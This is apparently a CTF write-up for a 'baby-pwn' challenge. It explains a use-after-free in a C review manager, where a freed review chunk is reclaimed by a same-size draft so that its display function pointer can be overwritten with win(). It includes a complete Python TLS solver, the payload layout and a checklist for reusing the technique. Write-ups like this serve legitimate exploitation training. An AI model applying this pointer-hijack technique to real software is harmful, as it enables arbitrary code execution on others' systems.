$ cat writeup.md…
$ cat writeup.md…
fortid2026
Task: a C review-manager binary with a use-after-free — favourite aliases a freed review chunk whose embedded display function pointer gets reclaimed by a same-size draft allocation. Solution: free the review, allocate a 40-byte draft to reclaim the chunk, overwrite the display pointer with win() (fixed non-PIE address), then trigger the indirect call via preview_favourite().
Everyone's opinion matters to us. Submit a review, save your thoughts for later, and make sure your favourite feedback is never forgotten. Can you leave one last review?
A handout.zip contained chall.c (source) and chall (ELF 64-bit). The service was reachable over TLS (ncat --ssl ... 1337). Goal: hijack a dangling function pointer through a use-after-free to call the built-in win() function and read flag.txt.
Binary facts (readelf -h / checksec):
e_type = EXEC), so function addresses are fixed — no leak needed.win() at 0x40135f — opens flag.txt and prints its contents.show_review() at 0x401336 — the normal display handler.Vulnerable data model (from chall.c):
#define REVIEW_TEXT_SIZE 32 struct review { char text[REVIEW_TEXT_SIZE]; // offset 0, 32 bytes void (*display)(review_t *review); // offset 32, function pointer }; // draft is a raw byte buffer of EXACTLY the same size as review_t (40 bytes) typedef struct { char contents[sizeof(review_t)]; } draft_t; static review_t *review; static review_t *favourite; static draft_t *draft;
Menu behaviour:
submit_review() — review = malloc(sizeof(review_t)), reads text, sets review->display = show_review.mark_favourite() — favourite = review (just aliases the pointer, no copy).delete_review() — free(review); review = NULL; but favourite is left dangling.write_draft() — draft = malloc(sizeof(draft_t)), user supplies a length 1..40 and that exact many bytes via fread (so NUL bytes are allowed).preview_favourite() — favourite->display(favourite) — an indirect call through a possibly-freed chunk.Root cause — Use-After-Free + pointer aliasing:
delete_review() frees the review chunk and nulls review, but mark_favourite()
earlier copied the pointer into favourite, which is never cleared. favourite
therefore dangles into a freed chunk.
Because sizeof(draft_t) == sizeof(review_t) == 40 bytes, the next malloc in
write_draft() is served by the glibc tcache/fastbin from the just-freed chunk.
The draft contents are fully attacker-controlled (fread of exact length), so we
can forge the reclaimed memory — including the display function pointer at
offset 32. preview_favourite() then invokes our hijacked pointer.
No ASLR/PIE bypass and no libc leak are required: the binary is non-PIE and
win() sits at a fixed address.
Exploitation chain:
display = show_review.favourite now aliases the review chunk.favourite dangles (UAF).'A'*32 + p64(win).
The allocator returns the freed chunk; the 32 padding bytes land on text[]
and the 8-byte pointer overwrites display at offset 32.favourite->display(favourite) now resolves
to win(), which prints the flag.Payload layout for the draft (40 bytes):
offset 0 ────────────────── offset 32 ──────── offset 40
| 'A' * 32 (text[], padding) | p64(0x40135f) | <- overwrites display fptr
Minimal solver (TLS remote):
#!/usr/bin/env python3 import socket, ssl, struct HOST = "baby-pwn-<redacted-instance>.ctf.fortid.com" PORT = 1337 WIN = 0x40135f # address of win() def p64(x): return struct.pack("<Q", x) ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(socket.create_connection((HOST, PORT)), server_hostname=HOST) def recv_until(marker): data = b"" while marker not in data: chunk = s.recv(4096) if not chunk: break data += chunk return data def menu(choice): recv_until(b"> ") s.sendall(str(choice).encode() + b"\n") menu(1) # submit review recv_until(b"Review: "); s.sendall(b"hello\n") menu(2) # mark favourite (alias) menu(3) # delete review (UAF, favourite dangles) menu(4) # write draft, same size -> reclaim chunk recv_until(b"Draft length"); s.sendall(b"40\n") recv_until(b"draft bytes: ") s.sendall(b"A"*32 + p64(WIN)) # overwrite display fptr with win() menu(5) # preview favourite -> win() print(recv_until(b"}").decode(errors="replace"))
Equivalent pwntools version (process("./chall") locally, remote(host, port, ssl=True)
for the server) performs the same five steps with payload = b"A"*32 + p64(WIN).
Use this technique when:
obj->display(obj)).favourite = review) and one alias is freed while the other survives (free(review); review = NULL; leaving favourite dangling).review_t and draft_t are both 40 bytes), so a freed chunk is reclaimed by the next same-size malloc.fread/read of an exact length, allowing NUL bytes to forge a full pointer.e_type = EXEC) with a convenient win()/flag-printing function at a fixed address → trivial ret2win target for the hijacked pointer, no leak needed.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md